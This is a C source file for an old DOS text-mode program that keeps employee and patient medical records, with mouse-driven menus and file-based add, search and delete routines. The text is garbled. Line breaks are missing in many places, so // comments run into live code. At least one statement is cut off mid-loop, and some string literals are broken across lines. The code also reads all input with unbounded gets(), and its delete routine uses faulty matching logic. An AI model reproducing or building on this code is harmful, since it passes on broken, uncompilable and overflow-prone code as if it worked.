MAIN____MENU "); highvideo(); gotoxy(9,5); textcolor(BLACK); textbackground(4); cprintf(" FILE "); gotoxy(28,5); cprintf(" EDIT "); gotoxy(47,5); cprintf(" HELP "); gotoxy(66,5); cprintf(" EXIT "); }/***************************************************************************/ //FUNCTION TO INITALISE MOUSE/***************************************************************************/initmouse(){ i.x.ax=0; int86(0x33,&i,&o); return(o.x.ax);}/***************************************************************************/ //FUNCTION TO SHOW MOUSE POINTER/***************************************************************************/showmouseptr(){ i.x.ax=1; int86(0x33,&i,&o);}/***************************************************************************/ //FUNCTION TO GET CO-ORDINATES OF THE MOUSE POINTER/***************************************************************************/getmousepos(int *button,int *x,int *y)//function to get coordinates{ i.x.ax=3; int86(0x33,&i,&o); *button=o.x.bx; *x=o.x.cx; *y=o.x.dx;}/***************************************************************************/ //FUNCTION TO RESTRICT MOUSE POINTER(row wise)/***************************************************************************/restrictmouseptr(){ i.x.ax=8; int86(0x33,&i,&o);}/***************************************************************************/ //FUNCTION TO RESTRICT MOUSE POINTER(column wise)/***************************************************************************/restrictmouseptr1(){ i.x.ax=7; int86(0x33,&i,&o);}/***************************************************************************/ //FUNCTION TO HIDE MOUSE POINTER/***************************************************************************/hidemouseptr(){ i.x.ax=2; int86(0x33,&i,&o);}/***************************************************************************/ //FUNCTION TO RESTRICT MOUSE POINTER BETWEEN CERTAIN CO_ORDINATES/***************************************************************************/restrictmouseptr2(int a1,int a2,int b1,int b2){ i.x.ax=7; i.x.cx=a1; i.x.dx=a2; int86(0x33,&i,&o); i.x.ax=8; i.x.cx=b1; i.x.dx=b2; int86(0x33,&i,&o);}/***************************************************************************/ //FUNCTION FOR ARROW KEYS/***************************************************************************/void setattr(int row,int col,int attr){ for(w=3;w<78;w++) { *(scr+row*160+col*2+1)=attr; col++; }}MAINMENU(){if((button &1)==1) //Mouse click event{ FILE1(); EDIT(); HELP(); EXIT1(); ADD(); NEW(); ENTRY(); SEARCHEMP(); DELETEEMP(); UPDATEEMP(); OUTENTRY(); SEARCHOUT(); UPDATEOUT(); DELETEOUT(); HELPTOPICS(); ABOUT();}//MOUSE click event ended}/***************************************************************************/ /*FILE MENU*//***************************************************************************/FILE1() {if((x>=56&&y==32)&&(x<=104&&y==32)) //Coordinate for FILE menu started{gotoxy(28,5); //For EDIT menutextcolor(BLACK);textbackground(4);cprintf(" EDIT ");gotoxy(23,6);highvideo();textcolor(WHITE);textbackground(1);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(b=7;b<16;b++){gotoxy(a=23,b);textbackground(1);cprintf(" ");} //EDIT MENU ENDED//For HELP menugotoxy(47,5);textcolor(BLACK);textbackground(RED);cprintf(" HELP ");gotoxy(42,6);highvideo();textcolor(WHITE);textbackground(1);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(b=7;b<13;b++){gotoxy(a=41,b);textbackground(1);cprintf(" ");}//HELP menu ended//for About.. menufor(a=24;a<=48;a++){for(b=16;b<=23;b++){textbackground(1);gotoxy(a,b);cprintf(" ");}}//For About.. menu completed//For FILE menu startedgotoxy(9,5);textcolor(7);textbackground(8);highvideo();cprintf(" FILE ");gotoxy(3,6);textcolor(WHITE);textbackground(WHITE);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");gotoxy(3,7);textcolor(WHITE);textbackground(WHITE);cprintf(" ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ");for(b=8;b<12;b++){delay(5);gotoxy(a=3,b);textcolor(WHITE);textbackground(WHITE);cprintf(" ³");}for(b=8;b<12;b++){gotoxy(a=21,b);textcolor(WHITE);textbackground(WHITE);cprintf("³ ");}gotoxy(3,12);textcolor(WHITE);textbackground(WHITE);cprintf(" Ã");gotoxy(21,12);cprintf("´ ");for(b=13;b<=16;b++){gotoxy(a=3,b);cprintf(" ³");}for(b=13;b<=16;b++){gotoxy(a=21,b);cprintf("³ ");}gotoxy(3,16);cprintf(" À");gotoxy(21,16);cprintf("Ù ");for(a=5;a<21;a++){gotoxy(a,b=16);cprintf("Ä");}//for loop endedfor(a=5;a<21;a++){gotoxy(a,b=12);cprintf("Ä");}//for loop endedtextcolor(RED+BLINK);textbackground(7);gotoxy(5,8);cprintf("For Employee....");textcolor(8);textbackground(WHITE);lowvideo();gotoxy(5,9);cprintf("ADD EMP. RECORD ");gotoxy(5,10);cprintf(" NEW ENTRY ");gotoxy(5,11);cprintf(" SEARCH ENTRY ");textcolor(5+BLINK);textbackground(7);gotoxy(5,13);cprintf("For Outsiders...");textcolor(8);textbackground(7);gotoxy(5,14);lowvideo();cprintf(" PATIENT ENTRY ");gotoxy(5,15);cprintf(" SEARCH ENTRY ");for(a=6;a<=23;a++){textbackground(8);gotoxy(a,17);delay(1);cprintf(" ");}for(b=7;b<=17;b++){textbackground(8);textcolor(8);gotoxy(23,b);cprintf(" ");}}//If statement of FILE menu completed}/***************************************************************************/ /*EDIT MENU*//***************************************************************************/EDIT(){if((x>=208&&y==32)&&(x<=256&&y==32))//Coordinate for EDIT menu started{//For FILE MENUgotoxy(9,5);textcolor(BLACK);textbackground(4);cprintf(" FILE ");gotoxy(3,6);highvideo();textcolor(WHITE);textbackground(1);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(b=7;b<11;b++){gotoxy(a=3,b);textbackground(1);cprintf(" ");}for(b=11;b<18;b++){gotoxy(a=3,b);textbackground(1);cprintf(" ");}//FILE MENU ENDED//For HELP menugotoxy(47,5);textcolor(BLACK);textbackground(RED);cprintf(" HELP ");gotoxy(42,6);highvideo();textcolor(WHITE);textbackground(1);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(b=7;b<13;b++){gotoxy(a=41,b);textbackground(1);cprintf(" ");}//HELP menu ended//for About.. menufor(a=24;a<=48;a++){for(b=16;b<=23;b++){textbackground(1);gotoxy(a,b);cprintf(" ");}}//For About.. menu completedgotoxy(28,5);textcolor(7);textbackground(8);highvideo();cprintf(" EDIT ");gotoxy(23,6);textcolor(WHITE);textbackground(7);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");gotoxy(23,7);textcolor(WHITE);textbackground(7);cprintf(" ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ");for(b=8;b<14;b++){delay(5);gotoxy(a=23,b);textcolor(WHITE);textbackground(7);cprintf(" ³");}for(b=8;b<14;b++){gotoxy(a=40,b);textcolor(WHITE);textbackground(7);cprintf("³ ");}gotoxy(23,14);textcolor(WHITE);textbackground(7);cprintf(" À");gotoxy(40,14);cprintf("Ù ");for(a=25;a<40;a++){gotoxy(a,b=14);cprintf("Ä");}//for loop endedtextcolor(4+BLINK);textbackground(7);gotoxy(25,8);cprintf("For Employee...");textcolor(5+BLINK);textbackground(7);gotoxy(25,11);cprintf("For Outsiders..");textcolor(8);textbackground(7);lowvideo();gotoxy(25,9);cprintf(" DELETE ENTRY ");gotoxy(25,10);cprintf(" UPDATE ENTRY ");gotoxy(25,12);cprintf(" DELETE ENTRY ");gotoxy(25,13);cprintf(" UPDATE ENTRY ");for(b=7;b<=15;b++){textbackground(8);gotoxy(42,b);cprintf(" ");}for(a=26;a<=40;a++){textbackground(8);gotoxy(a,15);cprintf(" ");}}//If statement of EDIT menu completed}/***************************************************************************/ /*HELP MENU*//***************************************************************************/HELP(){if((x>=368&&y==32)&&(x<=408&&y==32))//Coordinate of HELP menu started{//For EDIT menugotoxy(28,5);textcolor(BLACK);textbackground(4);cprintf(" EDIT ");gotoxy(23,6);highvideo();textcolor(WHITE);textbackground(1);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(b=7;b<16;b++){gotoxy(a=23,b);textbackground(1);cprintf(" ");} //EDIT MENU ENDED//For FILE MENUgotoxy(9,5);textcolor(BLACK);textbackground(4);cprintf(" FILE ");gotoxy(3,6);highvideo();textcolor(WHITE);textbackground(1);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(b=7;b<11;b++){gotoxy(a=3,b);textbackground(1);cprintf(" ");}for(b=11;b<18;b++){gotoxy(a=3,b);textbackground(1);cprintf(" ");}//FILE MENU ENDED//for About.. menufor(a=24;a<=48;a++){for(b=16;b<=23;b++){textbackground(1);gotoxy(a,b);cprintf(" ");}}//For About.. menu completed//HELP menu startedtextcolor(7);textbackground(8);highvideo();gotoxy(47,5);cprintf(" HELP ");gotoxy(42,6);textcolor(WHITE);textbackground(7);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");gotoxy(42,7);textcolor(WHITE);textbackground(7);cprintf(" ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ");for(b=8;b<10;b++){delay(5);gotoxy(a=42,b);textcolor(WHITE);textbackground(7);cprintf(" ³");}for(b=8;b<10;b++){gotoxy(a=59,b);textcolor(WHITE);textbackground(7);cprintf("³ ");}gotoxy(42,10);textcolor(WHITE);textbackground(7);cprintf(" À");gotoxy(59,10);cprintf("Ù ");for(a=44;a<59;a++){gotoxy(a,b=10);cprintf("Ä");}//for loop endedtextbackground(7);textcolor(8);lowvideo();gotoxy(44,8);cprintf("HELP TOPICS ");textbackground(7);textcolor(8);lowvideo();gotoxy(44,9);cprintf("About...... ");textbackground(BLACK);for(b=7;b<12;b++){gotoxy(61,b);cprintf(" ");}for(a=45;a<61;a++){gotoxy(a,11);cprintf(" ");}} //If statement of HELP menu completed}/***************************************************************************/ /*EXIT MENU*//***************************************************************************/EXIT1(){//for About.. menufor(a=24;a<=48;a++){for(b=16;b<=23;b++){textbackground(1);gotoxy(a,b);cprintf(" ");}}//For About.. menu completed//IF statement for EXIT menu startedif(x>=520&&y==32&&x<=560&&y==32){delay(100);exit(0);}//If statement for EXIT menu completed}/***************************************************************************//****************************ADD EMP.RECORDS********************************/ADD(){//If statement for ADD EMP. RECORDSif(x>=32&&y==64&&x<=152&&y==64){fp=fopen("medical1.dat","r+");if(fp==NULL){ fp=fopen("medical1.dat","w+");//file open for write only if(fp==NULL) { printf("Cannot open file"); }}do{textcolor(WHITE);textbackground(BLACK);clrscr();restrictmouseptr();hidemouseptr();_setcursortype(_SOLIDCURSOR);textcolor(8+BLINK);textbackground(7);lowvideo();gotoxy(3,1);cprintf(" NEW EMPLOYEE RECORD");textcolor(7);highvideo();for(a=3;a<79;a++){gotoxy(a,13);cprintf("Û");}for(b=2;b<13;b++){gotoxy(2,b);cprintf("Û");}for(b=2;b<13;b++){gotoxy(79,b);cprintf("Û");}textcolor(10);textbackground(BLACK);highvideo();gotoxy(3,2);cprintf("Ú");for(a=4;a<79;a++){gotoxy(a,2);cprintf("Ä");}gotoxy(78,2);cprintf("¿");for(b=3;b<12;b++){gotoxy(3,b);cprintf("³");}gotoxy(3,12);cprintf("À");for(a=4;a<78;a++){gotoxy(a,12);cprintf("Ä");}gotoxy(78,12);cprintf("Ù");for(b=3;b<12;b++){gotoxy(78,b);cprintf("³");}fseek(fp,0,SEEK_END);gotoxy(4,4);cprintf("Employee Name->");
gotoxy(4,6);
cprintf("Employee No.->");
gotoxy(4,8);
cprintf("Employee Dept.->");
gotoxy(4,10);
cprintf("Number of Members");
gotoxy(21,10);
textcolor(5);
cprintf("(Max. 5)->");

do
{
gotoxy(22,21);
textbackground(8);
cprintf(" ");
textcolor(7);
gotoxy(19,4);
highvideo();
cprintf(" ");
flag=1;
gotoxy(19,4);
fflush(stdin);
gets(e.empname);
if(strlen(e.empname)==0 || strlen(e.empname)>25)
{
flag=0;
gotoxy(22,21);
cprintf("THE NAME CAN NOT BE SET BLANK OR >25");
getch();
}
}while(!flag);

do
{
gotoxy(22,21);
textbackground(8);
cprintf(" ");
flag=1;
gotoxy(18,6);
fflush(stdin);
gets(e.empno);
if(strlen(e.empno)==0)
{
flag=0;
gotoxy(22,21);
cprintf("THIS FIELD CANNOT BE LEFT BLANK");
getch();
}
}while(!flag);

do
{
gotoxy(22,21);
textbackground(8);
cprintf(" ");
gotoxy(20,8);
cprintf(" ");
flag=1;
gotoxy(20,8);
fflush(stdin);
gets(e.empdept);
if(strlen(e.empdept)==0 || strlen(e.empdept)>25)
{
flag=0;
gotoxy(22,21);
cprintf("EMP. DEPT. CAN NOT LEFT BLANK OR >25");
getch();
}
}while(!flag);

gotoxy(31,10);
scanf("%d",&member);

textcolor(YELLOW+BLINK);
textbackground(RED);
gotoxy(24,15);
cprintf(" MEMBERS NAME ");
/**textcolor(YELLOW);
textbackground(RED);
gotoxy(35,15);
cprintf(" Sex ");
textcolor(YELLOW);
textbackground(RED);
gotoxy(44,15);
cprintf(" Allergic To ");*/
gotoxy(1,16);
cprintf("");
for(a=0;a");
another=getche();
}while(another=='y' || another=='Y');
gotoxy(15,25);
textcolor(10);
textbackground(4);
highvideo();
cprintf(" Press Esc to EXIT or M to Return to MAIN MENU.... ");
a=getch();
if(a==109)
{
main();
}
else
{
exit(0);
}
} //If statement of ADD EMP.records completed
}

/*************************************************************************
**/

/****************************NEW
ENTRY***************************************/
NEW()
{

//If statement for NEW ENTRY started
if(x>=32&&y==72&&x<=152&&y==72){fp=fopen("medical1.dat","r+");if(fp==NULL){ fp=fopen("medical1.dat","w+");//file open for write only if(fp==NULL) { printf("Cannot open file"); }}/*_AH=0; _AL=3; geninterrupt(0x10); if((*mode1 &0x30)== 0x30) scr=(char far*) 0xb0000000; //0xb0000000; else scr=(char far*) 0xb8000000; begin: r=15; c=20;//upto here */textcolor(WHITE);textbackground(BLACK);clrscr();_setcursortype(_SOLIDCURSOR);textcolor(8+BLINK);textbackground(7);lowvideo();gotoxy(1,1);cprintf(" NEW ENTRY FOR EMPLOYEE");restrictmouseptr2(112,456,128,168);textcolor(5);textbackground(BLACK);highvideo();gotoxy(1,2);cprintf("Ú");for(a=2;a<79;a++){gotoxy(a,2);cprintf("Ä");}gotoxy(79,2);cprintf("¿");for(b=3;b<13;b++){gotoxy(1,b);cprintf("³");}gotoxy(1,13);cprintf("À");for(a=2;a<79;a++){gotoxy(a,13);cprintf("Ä");}gotoxy(79,13);cprintf("Ù");for(b=3;b<13;b++){gotoxy(79,b);cprintf("³");}textcolor(10);highvideo();gotoxy(2,3);cprintf("Employee Name->");
gotoxy(2,5);
cprintf("Employee No.->");
gotoxy(2,7);
cprintf("Employee Dept.->");

do
{
gotoxy(22,11);
textbackground(8);
cprintf(" ");
textcolor(7);
highvideo();
gotoxy(17,3);
cprintf("
");
fflush(stdin);
flag=1;
gotoxy(17,3);
gets(name3);
if(strlen(name3)==0 || strlen(name3)>25)
{
flag=0;
gotoxy(22,11);
cprintf("THE NAME CAN NOT BE LEFT BLANK OR >25");
getch();
}
}while(!flag);

do
{
gotoxy(22,11);
textbackground(8);
cprintf(" ");
fflush(stdin);
flag=1;
gotoxy(16,5);
gets(no);
if(strlen(no)==0)
{
flag=0;
gotoxy(22,11);
cprintf("THE EMP. No. FIELD CAN NOT BE LEFT BLANK");
getch();
}
}
while(!flag);

do
{
gotoxy(22,11);
textbackground(8);
cprintf(" ");
flag=1;
gotoxy(18,7);
gets(dept);
if(strlen(dept)==0)
{
flag=0;
gotoxy(22,11);
cprintf("THE EMP. DEPT. FIELD CAN NOT BE LEFT BLANK");
getch();
}
}while(!flag);
textcolor(6+BLINK);
textbackground(4);
highvideo();
gotoxy(14,15);
cprintf(" MEMBERS____NAME ");
gotoxy(14,16);
printf("ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»");
_setcursortype(_NOCURSOR);

rewind(fp);
while(fread(&e,sizeof(e),1,fp)==1)
{
if(strcmp(e.empno,no)==0)
{
len=strlen(e.memname);
for(a=0;a<=len;a++){e.memname[a]=toupper(e.memname[a]);}printf(" %s",e.memname);}}fclose(fp);for(b=17;b<=22;b++){gotoxy(14,b);printf("º");}for(b=17;b<=22;b++){gotoxy(59,b);printf("º");}gotoxy(14,23);printf("ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼");gotoxy(19,25);textcolor(6);textbackground(8);highvideo();cprintf(" Click on Member's name For Entry Form ");/*while(ch!=13) { for(x=15;x<21;x++) setattr(x,20,US); setattr(r,c,SE); gotoxy(36,21); ch=getch(); if(ch=='H'||ch=='h') { if(r==15) r=15; else r--; } else if(ch=='P'||ch=='p') { if(r==19) r=19; else r++; } else if(ch=='1') { r=4; } else if(ch=='2') { r=5; } else if(ch=='3') { r=6; } else if(ch=='4') { r=7; } else if(ch=='5') { r=8; } } ch=' '; y=r-14;*/}//If statement for NEW RECORDS completed}/***************************************************************************//*****************************NEW ENTRYFORM********************************/ENTRY(){if((x>=112&&y==128&&x<=456&&y==128) || (x>=112&&y==136&&x<=456&&y==136) ||(x>=112&&y==144&&x<=456&&y==144) || (x>=112&&y==152&&x<=456&&y==152) ||(x>=112&&y==160&&x<=456&&y==160) || (x>=112&&y==168&&x<=456&&y==168)){fs=fopen("medical3.dat","r+");if(fs==NULL){ fs=fopen("medical3.dat","w+"); if(fs==NULL) { printf("cannot open file"); }}textcolor(WHITE);textbackground(8);clrscr();restrictmouseptr();hidemouseptr();_setcursortype(_SOLIDCURSOR);textcolor(7);textbackground(BLACK);highvideo();gotoxy(1,1);cprintf("Ú");for(a=2;a<79;a++){gotoxy(a,1);cprintf("Ä");}gotoxy(79,1);cprintf("¿");for(b=2;b<25;b++){gotoxy(1,b);cprintf("³");}gotoxy(1,25);cprintf("À");for(a=2;a<79;a++){gotoxy(a,25);cprintf("Ä");}gotoxy(79,25);cprintf("Ù");for(b=2;b<25;b++){gotoxy(79,b);cprintf("³");}gotoxy(2,2);textcolor(BLACK+BLINK);textbackground(WHITE);lowvideo();cprintf(" PATIENT ENTRY FORM");textcolor(10);textbackground(8);highvideo();gotoxy(3,3);cprintf("Ú");gotoxy(4,2);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");gotoxy(77,3);cprintf("¿");for(a=4;a<20;a++){gotoxy(3,a);cprintf("³");}for(b=4;b<20;b++){gotoxy(77,b);cprintf("³");}gotoxy(3,20);cprintf("À");gotoxy(77,20);cprintf("Ù");gotoxy(4,20);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(a=3;a<21;a++){gotoxy(2,a);textcolor(7);cprintf("Û");}for(a=3;a<21;a++){gotoxy(78,a);textcolor(7);cprintf("Û");}for(a=2;a<79;a++){gotoxy(a,21);textcolor(7);cprintf("Û");}fseek(fs,0,SEEK_END);textcolor(10);gotoxy(6,4);cprintf("Employee Number #");gotoxy(6,6);cprintf("Date->");
gotoxy(6,8);
cprintf("Patient Name(if Emp. enter Emp.name)->");
gotoxy(6,10);
cprintf("Age->");
gotoxy(6,12);
cprintf("Sex(M/F)->");
gotoxy(6,14);
cprintf("");
gotoxy(6,16);
cprintf("Medicine Desc.->");
do
{
gotoxy(22,22);
textbackground(8);
cprintf(" ");
gotoxy(24,4);
flag=1;
fflush(stdin);
gets(s.empno2);
if(strlen(s.empno2)==0)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(22,22);
cprintf("EMPLOYEE NO. CANNOT BE LEFT BLANK");
getch();}
}while(!flag);

do
{
gotoxy(22,22);
textbackground(8);
cprintf(" ");
gotoxy(12,6);
flag=1;
fflush(stdin);
gets(s.date);
if(strlen(s.date)==0)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(22,22);
cprintf("DATE CAN NOT BE LEFT BLANK");
getch();
}
}while(!flag);

do
{
gotoxy(22,22);
textbackground(8);
cprintf(" ");
textcolor(7);
highvideo();
gotoxy(44,8);
cprintf(" ");
flag=1;
gotoxy(44,8);
fflush(stdin);
gets(s.patient);
if(strlen(s.patient)==0 || strlen(s.patient)>25)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(22,22);
cprintf("PATIENT NAME CAN NOT BE LEFT BLANK OR >25");
getch();
}
}while(!flag);

gotoxy(11,10);
fflush(stdin);
scanf("%d",&s.age);

gotoxy(16,12);
fflush(stdin);
gets(s.sex);

do
{
gotoxy(22,22);
textbackground(8);
cprintf(" ");
flag=1;
gotoxy(22,16);
fflush(stdin);
gets(s.medicine);
if(strlen(s.medicine)==0)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(22,22);
textcolor(10);
highvideo();
cprintf("THIS FIELD CAN NOT BE LEFT BLANK");
getch();
}
}while(!flag);
fwrite(&s,sizeof(s),1,fs);
fclose(fs);
textcolor(10);
highvideo();
textbackground(6);
gotoxy(12,24);
cprintf(" Press M to Return to "MAIN MENU" or Esc to "EXIT".....
");
a=getch();
//a=getch();
if(a==109)
{
main();
}
else
{
exit(0);
}
}
}

/*************************************************************************
**/

/****************************SEARCH
RECORDS**********************************/
SEARCHEMP()
{
//If statement for SEARCH RECORDS started
if(x>=32&&y==80&&x<=152&&y==80){fp=fopen("medical1.dat","r+");//file open for read onlyif(fp==NULL){ fp=fopen("medical1.dat","w+");//file open for write only if(fp==NULL) { printf("Cannot open file"); }}fs=fopen("medical3.dat","r+");if(fs==NULL){ fs=fopen("medical3.dat","w+"); if(fs==NULL) { printf("cannot open file"); }}do{textcolor(WHITE);textbackground(8);clrscr();restrictmouseptr();hidemouseptr();_setcursortype(_SOLIDCURSOR);textcolor(BLACK+BLINK);textbackground(7);gotoxy(3,2);cprintf(" SEARCH PATIENT RECORD(For Emp. only)");textcolor(10);textbackground(BLACK);gotoxy(3,3);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");gotoxy(3,3);cprintf("Ú");gotoxy(77,3);cprintf("¿");for(a=4;a<20;a++){gotoxy(3,a);cprintf("³");}for(a=4;a<20;a++){gotoxy(77,a);cprintf("³");}gotoxy(3,20);cprintf("À");gotoxy(77,20);cprintf("Ù");gotoxy(4,20);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(a=3;a<21;a++){gotoxy(2,a);textcolor(7);cprintf("Û");}for(a=3;a<21;a++){gotoxy(78,a);textcolor(7);cprintf("Û");}for(a=3;a<78;a++){gotoxy(a,21);textcolor(7);cprintf("Û");}textcolor(10);textbackground(BLACK);highvideo();do{gotoxy(21,21);textbackground(8);cprintf(" ");flag=1;gotoxy(4,4);cprintf("Enter Emp. No.->");
fflush(stdin);
gets(id1);
if(strlen(id1)==0)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(25,21);
cprintf("THIS FIELD CAN NOT BE LEFT BLANK");
getch();
}
}while(!flag);

do
{
gotoxy(21,21);
textbackground(8);
cprintf(" ");
flag=1;
gotoxy(4,5);
cprintf("
Enter Date->");
fflush(stdin);
gets(dateemp);
if(strlen(dateemp)==0)
{
flag=0;
sound(2500);
delay(300);
nosound();
gotoxy(25,21);
cprintf("ENTER DATE OF RECORD ENTRY");
getch();
}
}while(!flag);

gotoxy(4,7);
cprintf("
Enter Patient Name->");
fflush(stdin);
gets(nameemp);
textcolor(4);
gotoxy(4,9);
cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄ");
rewind(fp);
rewind(fs);
while((fread(&e,sizeof(e),1,fp)==1) && (fread(&s,sizeof(s),1,fs)==1))
{
if(strcmp(id1,s.empno2)==0 && strcmp(dateemp,s.date)==0 &&
strcmp(id1,e.empno)==0)
{
textcolor(6);
highvideo();
gotoxy(24,10);
cprintf("Employee Name->%s",e.empname);
gotoxy(24,11);
cprintf("Employee No.->%s",e.empno);
gotoxy(24,13);
textcolor(10);
cprintf("Patient Name->%s",s.patient);
gotoxy(24,14);
cprintf("Patient Age->%d",s.age);
gotoxy(24,15);
cprintf("Patient Sex->%s",s.sex);
gotoxy(24,16);
cprintf("Medicine given->%s",s.medicine);
//printf("
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");
break;
}
}
fclose(fp);
fclose(fs);
textcolor(10);
highvideo();
if(strcmp(id1,s.empno2)!=0 && strcmp(dateemp,s.date)!=0 )
{
textcolor(10);
gotoxy(6,10);
cprintf("

SORRY,RECORD NOT PRESENT");
}
gotoxy(22,21);
cprintf("

WANT TO SEARCH ANOTHER RECORD(y/n)->");
fflush(stdin);
another=getche();
}while((another=='y')||(another=='Y'));
textbackground(6);
textcolor(10+BLINK);
gotoxy(17,23);
cprintf("

Press M to Return to Main Menu and Esc to Exit....");
a=getch();
if(a==109)
{
main();
}
else
{
exit(0);
}
}//If statement for SEARCH RECORDS completed
}

/*************************************************************************
**/

/***************************DELETE
RECORDS***********************************/
DELETEEMP()
{
//If statement for DELETE RECORDS started
if(x>=192&&y==64&&x<=304&&y==64){fs=fopen("medical3.dat","r+");if(fs==NULL){ fs=fopen("medical3.dat","w+"); if(fs==NULL) { printf("cannot open file"); }}do { textbackground(8); textcolor(7); highvideo(); clrscr(); restrictmouseptr1(); hidemouseptr(); _setcursortype(_SOLIDCURSOR); textcolor(10); gotoxy(4,7); cprintf("Ú"); gotoxy(77,7); cprintf("¿"); for(a=8;a<20;a++) { gotoxy(4,a); cprintf("³"); } for(a=8;a<20;a++) { gotoxy(77,a); cprintf("³"); } gotoxy(4,20); cprintf("À"); gotoxy(77,20); cprintf("Ù"); textcolor(8+BLINK); textbackground(7); lowvideo(); gotoxy(4,6); cprintf(" DELETE PATIENT ENTRY"); textcolor(7); textbackground(8); highvideo(); for(a=3;a<79;a++) { for(b=5;b<6;b++) { gotoxy(a,b); cprintf("Û"); }} for(a=3;a<79;a++) { for(b=21;b<23;b++) { gotoxy(a,b); cprintf("Û"); }} for(b=6;b<22;b++) { gotoxy(3,b); cprintf("Û"); } for(b=6;b<22;b++) { gotoxy(78,b); cprintf("Û"); } textcolor(10); highvideo(); gotoxy(5,7);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ"); gotoxy(5,20);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ"); textcolor(10); highvideo(); gotoxy(6,9); cprintf("Enter Employee No.->");
fflush(stdin);
gets(del1);
gotoxy(6,10);
cprintf("Enter Patient Name->");
fflush(stdin);
gets(petname);
gotoxy(6,11);
cprintf("Enter Date->");
fflush(stdin);
gets(dates);
fps=fopen("medical4.dat","w+");
rewind(fs);
while(fread(&s,sizeof(s),1,fs)==1)
{
if(strcmp(s.empno2,del1)!=0 && strcmp(s.date,dates)!=0 &&
strcmp(s.patient,petname)!=0)
fwrite(&s,sizeof(s),1,fps);
}
fclose(fs);
fclose(fps);
remove("medical3.dat");
rename("medical4.dat","medical3.dat");
fs=fopen("medical3.dat","r+");
gotoxy(24,12);
cprintf("RECORD DELETED SUCCESSFULY");
gotoxy(18,14);
cprintf("WANT TO DELETE ANOTHER RECORD(y/n)->");
fflush(stdin);
another2=getche();
}while((another2=='y')||(another2=='Y'));
gotoxy(16,19);
textbackground(6);
cprintf(" Press M to Return to Main Menu or Esc to Exit.... ");
a=getch();
if(a==109)
{
main();
}
else
{
exit(0);
}
}//If statement for DELETE RECORDS completed
}

/*************************************************************************
**/

/**************************UPDATE
RECORDS************************************/
UPDATEEMP()
{
//If statement for UPDATE RECORDS started
